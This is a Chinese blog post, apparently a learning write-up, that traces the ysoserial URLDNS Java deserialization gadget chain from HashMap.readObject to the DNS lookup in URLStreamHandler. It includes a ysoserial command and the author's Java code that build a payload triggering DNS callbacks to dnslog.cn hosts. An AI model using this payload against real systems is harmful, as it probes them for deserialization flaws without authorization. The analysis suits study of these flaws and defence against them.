【内部投稿】java安全-URLDNS学习

admin 2020年11月15日11:30:50评论307 views字数 2627阅读8分45秒阅读模式

点击蓝字 ·  关注我们

01

前言

稍微了解了java的反射机制以及一些序列化链经常需要使用的知识后,开始正式的学习yso的POP链。

https://github.com/frohoff/ysoserial

02

利用

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://elr36h.dnslog.cn" > urldnst.txt


package vulhub;import org.omg.Messaging.SYNC_WITH_TRANSPORT;import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.IOException;import java.io.ObjectInputStream;public class urldnsTest {    public static void main(String[] args) throws IOException, ClassNotFoundException {        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/media/reader-l/acd81e20-e8ff-4229-9872-29b7aad6c5a5/hackLearning/javatest/ysoserial/src/main/java/vulhub/urldnst.txt"));        Object o1 = objectInputStream.readObject();        System.out.println(o1);    }}

【内部投稿】java安全-URLDNS学习

03

分析学习

该分析他是怎么发起urldns的请求,注释中的POP链写的挺清楚的,我就跟着分析。

【内部投稿】java安全-URLDNS学习


先跟进HashMap类看看


【内部投稿】java安全-URLDNS学习


我们可以看到该类继承了Serializable序列化/反序列化接口,那直接搜readObject

【内部投稿】java安全-URLDNS学习

可以看到接受的参数类型。

【内部投稿】java安全-URLDNS学习

跟着那个链往下找,我们可以看到对传入的参数值进行反序列化并且赋值给key和value,再将key、value带入putVal方法。其中还用hash方法处理key

【内部投稿】java安全-URLDNS学习

跟进hash方法。如果key是null的话,返回0,否则调用hashCode()进行处理并进行偏移和亦或操作。

【内部投稿】java安全-URLDNS学习

之前到这里我就有点蒙了,再往下跳的时候,直接到了Object.java,并无其他调用了。怎么发出dns请求呢?

【内部投稿】java安全-URLDNS学习

仔细看上面的POP链,发现最后会调用到URL.hashCode()

我们回到URLDNS.java往下审计

可以发现实例化了一个URL类,并跟进put方法,我们可以看到实例化后的URL类是作为key 参数传入put方法。

【内部投稿】java安全-URLDNS学习


【内部投稿】java安全-URLDNS学习

传入的key是实例化的URL类,所以调用的会是URL下的hashCode方法。

【内部投稿】java安全-URLDNS学习

进URL类下的搜索hashCode方法,可以看到只要hashCode参数不等于-1会调用URLStreamHandler下的hashCode

【内部投稿】java安全-URLDNS学习


【内部投稿】java安全-URLDNS学习

进URLStreamHandler下,搜索hashCode方法,看到以下方法的调用,每个方法都跟一下。

【内部投稿】java安全-URLDNS学习

跟进getHostAddress,可以看到会发dns请求

【内部投稿】java安全-URLDNS学习

payload:
package vulhub;
import org.omg.Messaging.SYNC_WITH_TRANSPORT;
import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.IOException;import java.io.ObjectInputStream;import java.lang.reflect.Field;import java.net.URL;import java.net.URLConnection;import java.net.URLStreamHandler;import java.util.HashMap;
public class urldnsTest { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {// ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/media/reader-l/acd81e20-e8ff-4229-9872-29b7aad6c5a5/hackLearning/javatest/ysoserial/src/main/java/vulhub/urldnst.txt"));// Object o1 = objectInputStream.readObject();// System.out.println(o1);

URLStreamHandler handler = new URLStreamHandler() { @Override protected URLConnection openConnection(URL u) throws IOException { return null; } }; HashMap hm = new HashMap(); String url = "http://nmli1e.dnslog.cn"; URL u = new URL(null, url, handler); Class clazz = u.getClass();
Field field = clazz.getDeclaredField("hashCode"); field.setAccessible(true); field.set(u, -1); hm.put(u, url); }}

【内部投稿】java安全-URLDNS学习


yso原作者的Payload也是差不多的思路


【内部投稿】java安全-URLDNS学习

但是多写了一个静态类,其中重写了getHostAddress方法,返回null了,所以你直接调用该payload方法的话,是不会发送dns请求的。

【内部投稿】java安全-URLDNS学习

04

参考链接



https://www.anquanke.com/post/id/201762#h3-6


EDI安全

【内部投稿】java安全-URLDNS学习

扫二维码|关注我们

一个专注渗透实战经验分享的公众号


本文始发于微信公众号(EDI安全):【内部投稿】java安全-URLDNS学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年11月15日11:30:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【内部投稿】java安全-URLDNS学习http://cn-sec.com/archives/158260.html

发表评论

匿名网友 填写信息